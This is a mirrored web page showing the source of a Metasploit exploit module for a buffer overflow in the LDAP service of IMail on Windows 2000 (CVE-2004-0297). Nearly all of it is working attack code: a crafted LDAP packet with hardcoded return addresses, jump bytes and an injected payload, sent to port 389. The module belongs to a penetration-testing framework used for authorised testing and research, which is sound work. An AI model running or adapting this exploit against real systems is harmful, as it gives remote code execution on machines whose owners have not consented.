Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ldap/imail_thc.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'IMail LDAP Service Buffer Overflow',
16
'Description' => %q{
17
This exploits a buffer overflow in the LDAP service that is
18
part of the IMail product. This module was tested against
19
version 7.10 and 8.5, both running on Windows 2000.
20
},
21
'Author' => [ 'hdm' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2004-0297'],
25
[ 'OSVDB', '3984'],
26
[ 'BID', '9682'],
27
[ 'URL', 'http://web.archive.org/web/20060110155821/http://secunia.com:80/advisories/10880/'],
28
],
29
'Privileged' => false,
30
'Payload' => {
31
'Space' => 1024,
32
'BadChars' => "\x00\x0a\x0d\x20",
33
},
34
'Platform' => 'win',
35
'Targets' => [
36
["Windows 2000 English", { 'Ret' => 0x75023386 }],
37
["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],
38
],
39
'DisclosureDate' => '2004-02-17',
40
'DefaultTarget' => 0,
41
'Notes' => {
42
'Reliability' => UNKNOWN_RELIABILITY,
43
'Stability' => UNKNOWN_STABILITY,
44
'SideEffects' => UNKNOWN_SIDE_EFFECTS
45
}
46
)
47
)
48
49
register_options(
50
[
51
Opt::RPORT(389)
52
]
53
)
54
end
55
56
def exploit
57
connect
58
59
buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"
60
buf << "\xcc" * 5000
61
62
# Universal exploit, targets 6.x, 7.x, and 8.x at once ;)
63
# Thanks for johnny cyberpunk for 6/7 vs 8 diffs
64
65
buf[77, 4] = "\xeb\x06"
66
buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x
67
buf[85, 4] = "\xeb\x06"
68
buf[89, 4] = [target.ret].pack('V') # 8.x
69
buf[93, payload.encoded.length] = payload.encoded
70
71
sock.put(buf)
72
73
handler
74
disconnect
75
end
76
end
77
78